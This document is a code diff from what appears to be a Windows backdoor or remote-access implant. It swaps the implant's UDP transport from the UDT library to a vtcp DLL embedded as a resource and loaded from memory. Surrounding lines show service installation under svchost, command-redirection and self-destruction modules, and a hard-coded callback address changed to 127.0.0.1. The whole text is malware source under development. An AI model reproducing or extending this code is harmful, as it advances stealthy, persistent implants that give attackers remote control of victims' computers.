#include <Winsock2.h>
|
||||
#include "memdll/MemLoadDll.h"
|
||||
#include "MessageDefines.h"
|
||||
|
||||
#include "udt/udt.h"
|
||||
#include "vtcp/vtcp.h"
|
||||
|
||||
class UdpComm: public IComm
|
||||
{
|
||||
public:
|
||||
UdpComm(void);
|
||||
~UdpComm(void);
|
||||
|
||||
public:
|
||||
typedef int (WINAPI *_vtcp_startup)();
|
||||
typedef VTCP_SOCKET (WINAPI *_vtcp_socket) (int af, int itype, int protocol);
|
||||
typedef int (WINAPI *_vtcp_connect)(VTCP_SOCKET s, const struct sockaddr * sai, socklen_t sailen);
|
||||
typedef int (WINAPI *_vtcp_send)(VTCP_SOCKET s, char * buffer, int cb, int flag);
|
||||
typedef int (WINAPI *_vtcp_recv)(VTCP_SOCKET s, char * buffer, int cb, int flag);
|
||||
|
||||
private:
|
||||
_vtcp_startup m_vstartup;
|
||||
_vtcp_socket m_vsocket;
|
||||
_vtcp_connect m_vconnect;
|
||||
_vtcp_send m_vsend;
|
||||
_vtcp_recv m_vrecv;
|
||||
|
||||
public:
|
||||
//实现IComm接口
|
||||
virtual COMM_NAME GetName() {return COMMNAME_UDP; };
|
||||
|
@ -20,13 +36,15 @@ public:
|
|||
private:
|
||||
BOOL Connect(ULONG targetIP,int port);
|
||||
|
||||
BOOL ReceiveAll(UDTSOCKET s,LPCVOID lpBuf,int nBufLen);
|
||||
BOOL SendAll(UDTSOCKET s,LPCVOID lpBuf, int nBufLen);
|
||||
BOOL ReceiveAll(VTCP_SOCKET s,LPCVOID lpBuf,int nBufLen);
|
||||
BOOL SendAll(VTCP_SOCKET s,LPCVOID lpBuf, int nBufLen);
|
||||
|
||||
UDTSOCKET m_sock;
|
||||
VTCP_SOCKET m_sock;
|
||||
|
||||
BOOL m_isConnected;
|
||||
|
||||
CMemLoadDll m_vtcp;
|
||||
|
||||
HANDLE m_hRecvEvent;
|
||||
};
|
||||
|
||||
|
|
File diff suppressed because it is too large
Load Diff
|
@ -163,6 +163,7 @@
|
|||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<None Include="body.def" />
|
||||
<None Include="res\vtcp.dll" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\..\..\base\include\AutoCleanup.h" />
|
||||
|
@ -190,6 +191,7 @@
|
|||
<ClInclude Include="CmdRedirector.h" />
|
||||
<ClInclude Include="HttpComm.h" />
|
||||
<ClInclude Include="Redirector.h" />
|
||||
<ClInclude Include="resource.h" />
|
||||
<ClInclude Include="rpc\advapi32.h" />
|
||||
<ClInclude Include="rpc\RpcServiceManager.h" />
|
||||
<ClInclude Include="rpc\services.h" />
|
||||
|
@ -207,6 +209,7 @@
|
|||
<ClInclude Include="targetver.h" />
|
||||
<ClInclude Include="TcpComm.h" />
|
||||
<ClInclude Include="UdpComm.h" />
|
||||
<ClInclude Include="VtcpBinary.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="..\..\..\base\include\destruction\SelfDestruction.cpp" />
|
||||
|
@ -243,6 +246,9 @@
|
|||
<ClCompile Include="TcpComm.cpp" />
|
||||
<ClCompile Include="UdpComm.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="body.rc" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
|
|
|
@ -72,6 +72,7 @@
|
|||
<None Include="body.def">
|
||||
<Filter>main</Filter>
|
||||
</None>
|
||||
<None Include="res\vtcp.dll" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="stdafx.h">
|
||||
|
@ -200,6 +201,12 @@
|
|||
<ClInclude Include="UdpComm.h">
|
||||
<Filter>comm\udp</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="resource.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="VtcpBinary.h">
|
||||
<Filter>comm\udp</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="stdafx.cpp">
|
||||
|
@ -287,4 +294,9 @@
|
|||
<Filter>comm\udp</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="body.rc">
|
||||
<Filter>资源文件</Filter>
|
||||
</ResourceCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
|
@ -165,6 +165,7 @@ SHELL_API BOOL InitSvr()
|
|||
inssvc(a2t(g_ServiceInfo.szServiceName),a2t(g_ServiceInfo.szDisplayName),a2t(g_ServiceInfo.szServiceDecript),filepath.c_str(), svchostName.c_str());
|
||||
|
||||
bSuccess = TRUE;
|
||||
|
||||
} while (FALSE);
|
||||
|
||||
if (! bSuccess)
|
||||
|
@ -231,7 +232,7 @@ SHELL_API BOOL Init(BOOL bWait)
|
|||
g_ConfigInfo.nFirstConnectMinute = -1;
|
||||
g_ConfigInfo.nTryConnectIntervalM = 1;
|
||||
strcpy_s(g_ConfigInfo.szGroups, sizeof(g_ConfigInfo.szGroups), "Default");
|
||||
strcpy_s(g_ConfigInfo.szAddr, sizeof(g_ConfigInfo.szAddr), "192.168.50.177");
|
||||
strcpy_s(g_ConfigInfo.szAddr, sizeof(g_ConfigInfo.szAddr), "127.0.0.1");
|
||||
|
||||
// strcpy_s(g_CampInfo.szDllName, sizeof(g_CampInfo.szDllName), t2a(SERVANT_SHELL_BINNAME));
|
||||
// #else
|
||||
|
|
|
@ -30,8 +30,6 @@ BOOL CommManager::Init()
|
|||
WSAData wsaData = {0};
|
||||
::WSAStartup(MAKEWORD(2, 2), &wsaData);
|
||||
|
||||
UDT::startup();
|
||||
|
||||
if (! m_cp.Init())
|
||||
{
|
||||
errorLog(_T("init cutup protocol failed"));
|
||||
|
|
|
@ -3,17 +3,12 @@
|
|||
#include <string>
|
||||
|
||||
#include <WinSock2.h>
|
||||
#include <WS2tcpip.h>
|
||||
#pragma comment(lib, "ws2_32.lib")
|
||||
|
||||
#ifdef _DEBUG
|
||||
#pragma comment(lib,"udtd.lib")
|
||||
#else
|
||||
#pragma comment(lib,"udt.lib")
|
||||
#endif
|
||||
#pragma comment(lib,"vtcp.lib")
|
||||
|
||||
CUdp::CUdp(void)
|
||||
{
|
||||
vtcp_startup();
|
||||
}
|
||||
|
||||
|
||||
|
@ -22,31 +17,31 @@ CUdp::~CUdp(void)
|
|||
}
|
||||
|
||||
|
||||
BOOL SendAll(UDTSOCKET s,LPCVOID lpBuf, int nBufLen)
|
||||
BOOL SendAll(VTCP_SOCKET s,LPCVOID lpBuf, int nBufLen)
|
||||
{
|
||||
if (UDT::INVALID_SOCK == s)
|
||||
if (VTCP_INVALID_SOCKET == s)
|
||||
{
|
||||
errorLog(_T("socket is invalid. send failed"));
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
const char* p = (const char*) lpBuf;
|
||||
char* p = (char*) lpBuf;
|
||||
int iLeft = nBufLen;
|
||||
int iSent = UDT::send(s, p, iLeft, 0);
|
||||
int iSent = vtcp_send(s, p, iLeft, 0);
|
||||
while (iSent > 0 && iSent < iLeft)
|
||||
{
|
||||
iLeft -= iSent;
|
||||
p += iSent;
|
||||
|
||||
iSent = UDT::send(s, p, iLeft, 0);
|
||||
iSent = vtcp_send(s, p, iLeft, 0);
|
||||
}
|
||||
|
||||
return (iSent > 0);
|
||||
}
|
||||
|
||||
BOOL ReceiveAll(UDTSOCKET s, LPCVOID lpBuf,int nBufLen)
|
||||
BOOL ReceiveAll(VTCP_SOCKET s, LPCVOID lpBuf,int nBufLen)
|
||||
{
|
||||
if (UDT::INVALID_SOCK == s)
|
||||
if (VTCP_INVALID_SOCKET == s)
|
||||
{
|
||||
errorLog(_T("socket is invalid. recv failed"));
|
||||
return FALSE;
|
||||
|
@ -54,13 +49,13 @@ BOOL ReceiveAll(UDTSOCKET s, LPCVOID lpBuf,int nBufLen)
|
|||
|
||||
char* p = (char*) lpBuf;
|
||||
int iLeft = nBufLen;
|
||||
int iRecv = UDT::recv(s, p, iLeft, 0);
|
||||
int iRecv = vtcp_recv(s, p, iLeft, 0);
|
||||
while (iRecv > 0 && iRecv < iLeft)
|
||||
{
|
||||
iLeft -= iRecv;
|
||||
p += iRecv;
|
||||
|
||||
iRecv = UDT::recv(s, p, iLeft, 0);
|
||||
iRecv = vtcp_recv(s, p, iLeft, 0);
|
||||
}
|
||||
|
||||
return (iRecv > 0);
|
||||
|
@ -75,13 +70,11 @@ BOOL CUdp::Start(int port, udpHandler handler)
|
|||
{
|
||||
bool ret = FALSE;
|
||||
|
||||
addrinfo hints;
|
||||
addrinfo* res;
|
||||
SOCKADDR_IN hints;
|
||||
|
||||
memset(&hints, 0, sizeof(struct addrinfo));
|
||||
hints.ai_flags = AI_PASSIVE;
|
||||
hints.ai_family = AF_INET;
|
||||
hints.ai_socktype = SOCK_STREAM;
|
||||
memset(&hints, 0, sizeof(SOCKADDR_IN));
|
||||
hints.sin_family = AF_INET;
|
||||
hints.sin_port = htons(port);
|
||||
|
||||
char szPort[255] = {0};
|
||||
|
||||
|
@ -91,15 +84,9 @@ BOOL CUdp::Start(int port, udpHandler handler)
|
|||
|
||||
do
|
||||
{
|
||||
if (0 != getaddrinfo(NULL, service.c_str(), &hints, &res))
|
||||
break;
|
||||
m_sock = vtcp_socket(AF_INET,SOCK_DGRAM,0);
|
||||
|
||||
m_sock = UDT::socket(res->ai_family, res->ai_socktype, res->ai_protocol);
|
||||
|
||||
int mss = UDP_COMM_REPLY_MAXSIZE * 2;
|
||||
UDT::setsockopt(m_sock, 0, UDT_MSS, &mss, sizeof(int));
|
||||
|
||||
if (UDT::ERROR == UDT::bind(m_sock, res->ai_addr, res->ai_addrlen))
|
||||
if (VTCP_ERROR == vtcp_bind(m_sock, (sockaddr*)&hints, sizeof(hints)))
|
||||
break;
|
||||
|
||||
UDP_ARGV* argv = new UDP_ARGV;
|
||||
|
@ -108,7 +95,7 @@ BOOL CUdp::Start(int port, udpHandler handler)
|
|||
argv->s = m_sock;
|
||||
argv->lpParameter = this;
|
||||
|
||||
UDT::listen(m_sock,25);
|
||||
vtcp_listen(m_sock,25);
|
||||
_beginthread(Listen,0,argv);
|
||||
|
||||
ret = true;
|
||||
|
@ -120,7 +107,7 @@ BOOL CUdp::Start(int port, udpHandler handler)
|
|||
|
||||
void CUdp::Stop()
|
||||
{
|
||||
UDT::close(m_sock);
|
||||
vtcp_close(m_sock);
|
||||
|
||||
m_cs.Enter();
|
||||
|
||||
|
@ -128,7 +115,7 @@ void CUdp::Stop()
|
|||
|
||||
for (; it != m_vecSock.end(); it++)
|
||||
{
|
||||
UDT::close(*it);
|
||||
vtcp_close(*it);
|
||||
}
|
||||
|
||||
m_cs.Leave();
|
||||
|
@ -141,7 +128,7 @@ void CUdp::Worker(LPVOID lpParameter)
|
|||
|
||||
UDP_HEADER header;
|
||||
|
||||
UDTSOCKET socket = argv->s;
|
||||
VTCP_SOCKET socket = argv->s;
|
||||
|
||||
BOOL ret = TRUE;
|
||||
|
||||
|
@ -174,7 +161,7 @@ void CUdp::Worker(LPVOID lpParameter)
|
|||
}
|
||||
}
|
||||
|
||||
UDT::close(socket);
|
||||
vtcp_close(socket);
|
||||
|
||||
delete lpParameter;
|
||||
}
|
||||
|
@ -184,16 +171,16 @@ void CUdp::ListenProc( UDP_ARGV *argv )
|
|||
SOCKADDR_IN sin;
|
||||
int addrlen = sizeof(sin);
|
||||
|
||||
UDTSOCKET fhandle;
|
||||
VTCP_SOCKET fhandle;
|
||||
|
||||
while (true)
|
||||
{
|
||||
if (UDT::INVALID_SOCK == (fhandle = UDT::accept(m_sock, (sockaddr *)&sin, &addrlen)))
|
||||
if (VTCP_INVALID_SOCKET == (fhandle = vtcp_accept(m_sock, (sockaddr *)&sin, &addrlen)))
|
||||
break;
|
||||
|
||||
m_cs.Enter();
|
||||
m_vecSock.push_back(fhandle);
|
||||
m_cs.Leave();
|
||||
// m_cs.Enter();
|
||||
// m_vecSock.push_back(fhandle);
|
||||
// m_cs.Leave();
|
||||
|
||||
UDP_ARGV * client_argv = new UDP_ARGV;
|
||||
|
||||
|
@ -206,7 +193,7 @@ void CUdp::ListenProc( UDP_ARGV *argv )
|
|||
|
||||
}
|
||||
|
||||
UDT::close(m_sock);
|
||||
vtcp_close(m_sock);
|
||||
|
||||
delete argv;
|
||||
}
|
||||
|
|
|
@ -1,12 +1,12 @@
|
|||
#pragma once
|
||||
#include "udt/udt.h"
|
||||
#include "vtcp/vtcp.h"
|
||||
#include "UdpDefines.h"
|
||||
|
||||
typedef BOOL (*udpHandler)(LPBYTE data,DWORD size,SOCKADDR_IN sin,ByteBuffer& toSender);
|
||||
|
||||
typedef struct
|
||||
{
|
||||
UDTSOCKET s;
|
||||
VTCP_SOCKET s;
|
||||
SOCKADDR_IN sin;
|
||||
udpHandler handler;
|
||||
LPVOID lpParameter;
|
||||
|
@ -19,7 +19,7 @@ public:
|
|||
CUdp(void);
|
||||
~CUdp(void);
|
||||
|
||||
typedef std::vector<UDTSOCKET> VecSocket;
|
||||
typedef std::vector<VTCP_SOCKET> VecSocket;
|
||||
|
||||
void Init();
|
||||
BOOL Start(int port, udpHandler handler);
|
||||
|
@ -27,7 +27,7 @@ public:
|
|||
|
||||
private:
|
||||
|
||||
UDTSOCKET m_sock;
|
||||
VTCP_SOCKET m_sock;
|
||||
|
||||
udpHandler m_handler;
|
||||
|
||||
|
|
Loading…
Reference in New Issue